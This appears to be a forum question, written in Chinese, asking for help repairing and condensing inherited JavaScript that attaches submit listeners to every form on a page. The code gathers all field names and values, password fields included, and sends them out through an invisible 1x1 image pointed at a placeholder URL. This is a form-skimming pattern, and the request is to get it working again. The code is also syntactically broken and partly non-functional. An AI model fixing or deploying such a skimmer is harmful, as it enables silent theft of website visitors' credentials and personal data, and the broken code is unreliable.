好的,所以目前这是我从我的前任那里找到的,并且代码已经停止工作,所以我的工作是修复它或至少修补它..
只是我想把它压缩成一个更小的函数来检测使用哪个事件监听器..
//EI 9
var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
{
// alert(formsCollection[i].name);
formsCollection[i].addEventListener('submit', function() {
//working fine
var formsCollection1 = document.getElementsByTagName("form");
for (x = 0 ; x < formsCollection1.length; x++)
{
var elements1 = formsCollection1[x].elements;
for (e = 0 ; e < elements1.length; e++)
{
chain += elements1[e].name + "%3d" + elements1[e].value + "|";
}
}
attachForm(chain);
//end mid
}, false);
}
function attachForm(data) {
// alert(data);
var oImg=document.createElement("img");
oImg.setAttribute('src', "URL" POST);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);
}
//IE8
var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
{
// alert(formsCollection[i].name);
formsCollection[i].attachEvent('onsubmit', function() {
//working fine
var formsCollection1 = document.getElementsByTagName("form");
for (x = 0 ; x < formsCollection1.length; x++)
{
var elements1 = formsCollection1[x].elements;
for (e = 0 ; e < elements1.length; e++)
{
chain += elements1[e].name + "%3d" + elements1[e].value + "|";
}
}
attachForm(chain);
//end mid
}, false);
}
function attachForm(data) {
// alert(data);
var oImg=document.createElement("img");
oImg.setAttribute('src', "URL POST");
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);
}